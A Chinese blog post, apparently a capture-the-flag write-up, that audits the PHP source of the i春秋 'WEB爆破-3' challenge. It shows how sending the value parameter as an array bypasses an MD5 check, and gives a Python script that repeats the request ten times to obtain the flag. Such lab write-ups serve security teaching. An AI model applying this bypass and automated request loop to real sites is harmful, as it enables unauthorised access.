i春秋的WEB爆破-3 WP

原创

小 白 渣 于 2019-12-22 21:33:35 发布 282 收藏

分类专栏： 代码审计 爆破 exp 文章标签： 信息安全

本文链接：https://blog.csdn.net/qq_45552960/article/details/103657224

 代码审计 同时被 3 个专栏收录

10 篇文章 0 订阅

订阅专栏

 爆破

2 篇文章 0 订阅

订阅专栏

 exp

3 篇文章 0 订阅

订阅专栏

还是首先 先看到题目，直接给出了源码，代码审计，做审计题首先是要理解代码逻辑

```php
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>
```

1.Line 3~9：开始会话，包含 flag.php 文件，为超级全局变量 $_SESSION 的三个参数初始化
2.Line 11~13：若 Session 有效期超过了两分钟，则销毁当前会话
3.Line 15~17：先通过 GET 请求或 POST 请求获取的 value 参数，再随机选择两个小写字母拼接成字符串
4.Line 19~23：若 $_SESSION['whoami'] 等于 $value 数组中两个元素的拼接，并且 $value 的 MD5 哈希值的第 5~8 位等于 0，则将 $_SESSION['nums'] 自增，将 $_SESSION['whoami'] 更新为随机字符串并输出
5.Line 25~27：若 $_SESSION['nums'] 大于等于 10，则输出 flag。

理解了代码逻辑后，再结合提示，基本可判断此题真的需要通过网络交互，来「爆破」获取 flag。

本题的难点是如何通过 GET 或 POST 请求，传送同一数组参数的不同元素值。常见方法有以下两种：

```
value[]=e&value[]=a
value[0]=e&value[1]=a
```

使用 Firefox 浏览器，针对 GET 请求进行验证。第一种方法：

然后把输出的两个值再次放入URL中，取代那两个ea值，这样重复十遍，flag就出来了。

第二种方法：大佬膜拜

这时，使用 Python 的第三方开源库 Requests 编写自动化脚本，即可轻松解决问题，基本用法可参考：详解 CTF Web 中的快速反弹 POST 请求

以下是针对 GET 请求构造的 Python 解题脚本：

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests

url = "http://2428bbb29ccc4976b0d6d3f5630e3d0a215aedbbe5bf457e.game.ichunqiu.com/"
s = requests.Session()
whoami = "ea"
for i in range(10):
        print(whoami)
        payload = "?value[0]={}&value[1]={}".format(whoami[0], whoami[1])
        response = s.get(url + payload)
        whoami = response.text[:2]
print(response.text)
```

Line 8~12：自动循环提交 10 次 GET 请求，并输出每次循环的 value 参数。

Line 13：将最后一次响应的报文内容输出，即可看到 flag。